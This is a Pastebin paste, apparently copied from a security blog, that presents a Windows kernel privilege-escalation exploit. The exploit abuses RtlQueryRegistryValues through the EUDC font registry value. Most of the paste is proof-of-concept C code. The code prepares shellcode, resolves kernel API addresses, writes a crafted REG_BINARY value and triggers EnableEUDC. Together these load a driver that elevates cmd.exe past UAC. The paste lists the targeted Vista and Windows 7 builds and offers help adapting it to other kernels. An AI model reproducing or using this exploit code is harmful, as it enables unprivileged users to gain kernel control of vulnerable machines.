SHARE
TWEET

http://security-sh3ll.blogspot.com

a guest Nov 24th, 2010 9,531 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Introduction
  2.  
  3. I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.
  4.  
  5. The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.
  6. Using the code
  7.  
  8. In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.
  9. Collapse
  10. Collapse
  11.  
  12. .text:BF81BA91                 push    esi             ; Environment
  13. .text:BF81BA92                 push    esi             ; Context
  14. .text:BF81BA93                 push    offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
  15. .text:BF81BA98                 push    edi             ; Path
  16. .text:BF81BA99                 lea     eax, [ebp+DestinationString]
  17. .text:BF81BA9C                 push    esi             ; RelativeTo
  18. .text:BF81BA9D                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
  19. .text:BF81BAA3                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
  20. .text:BF81BAAD                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"
  21. .text:BF81BAB7                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
  22. .text:BF81BABC                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
  23. .text:BF81BAC2                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
  24. .text:BF81BAC8                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
  25. .text:BF81BACE                 mov     dword_BFA198FC, esi
  26. .text:BF81BAD4                 mov     dword_BFA19900, esi
  27. .text:BF81BADA                 mov     dword_BFA19904, esi
  28. .text:BF81BAE0                 call    ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)
  29. .text:BF81BAE6                 mov     [ebp+var_8], eax
  30.  
  31. Stack trace shows the calling process is as follows:
  32.  
  33. GDI32.EnableEUDC ->
  34. NtGdiEnableEudc ->
  35. GreEnableEUDC ->
  36. sub_BF81B3B4 ->
  37. sub_BF81BA0B ->
  38. RtlQueryRegistryValues (Overflow occurs)
  39.  
  40. Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate "cmd.exe” process privilege regardless of UAC.
  41. Collapse
  42. Collapse
  43.  
  44. // Allocate buffer for the driver
  45. LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  46. memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));    
  47.  
  48. BYTE* pMem;            // shellcode
  49. DWORD ExpSize = 0;
  50.  
  51. BYTE RegBuf[0x40] = {0};    // reg binary buffer
  52.  
  53. pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  54. memcpy(pMem, Data, sizeof(Data));                // Copy shellcode
  55.  
  56. *(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;        // Point return value to our buffer
  57.  
  58. ExpSize = 0x28;
  59.  
  60.  
  61. The shellcode need some kernel APIs, we need to get their addresses from the running kernel.
  62. Collapse
  63. Collapse
  64.  
  65. // Get the running kernel file name
  66. HMODULE hDll = GetModuleHandle(L"ntdll.dll");
  67. pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
  68. PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
  69. ULONG AllocSize = 0;
  70. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
  71.  
  72. pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
  73. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
  74. HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);
  75.  
  76. //Relocation to the running kernel base
  77. DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;
  78.  
  79. free(pModInfo);
  80.  
  81. // For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
  82. // so we need a valid pool address to avoid BSOD.
  83.  
  84. if(vi.dwBuildNumber < 7600)    
  85. {
  86.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);
  87.  
  88.     HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
  89.     PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
  90.     AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
  91.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
  92.  
  93.     pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
  94.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
  95.  
  96.     for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
  97.     {
  98.         if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
  99.         {
  100.             *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
  101.             break;
  102.         }
  103.     }
  104.     free(pHandleInfo);
  105. }
  106. else
  107. {
  108.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
  109. }
  110.  
  111. // Now fills the API addresses needed
  112. FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
  113. FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
  114. FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
  115. FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
  116. FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
  117. FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
  118. FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
  119. FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
  120. FreeLibrary(hKernel);
  121.  
  122. // Here we tell the shellcode(PE loader) where the driver buffer is.
  123. FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
  124. FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);
  125.  
  126.  
  127. Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.
  128. Collapse
  129. Collapse
  130.  
  131. UINT codepage = GetACP();
  132. TCHAR tmpstr[256];
  133. _stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);        // Get current code page
  134. HKEY hKey;
  135. RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
  136. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
  137.  
  138. RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);
  139.  
  140. __try
  141. {
  142.     EnableEUDC(TRUE);    
  143. }
  144. __except(1)
  145. {
  146. }
  147. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
  148. RegCloseKey(hKey);
  149.  
  150. After running this PoC, just type "whoami" in command prompt to see the escalated user credentials.
  151. Points of Interest
  152.  
  153. All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.
  154. Additional Information
  155.  
  156. This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:
  157. Windows Vista/2008 6.1.6000 x32,
  158. Windows Vista/2008 6.1.6001 x32,
  159. Windows 7 6.2.7600 x32,
  160. Windows 7/2008 R2 6.2.7600 x64.
  161. Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top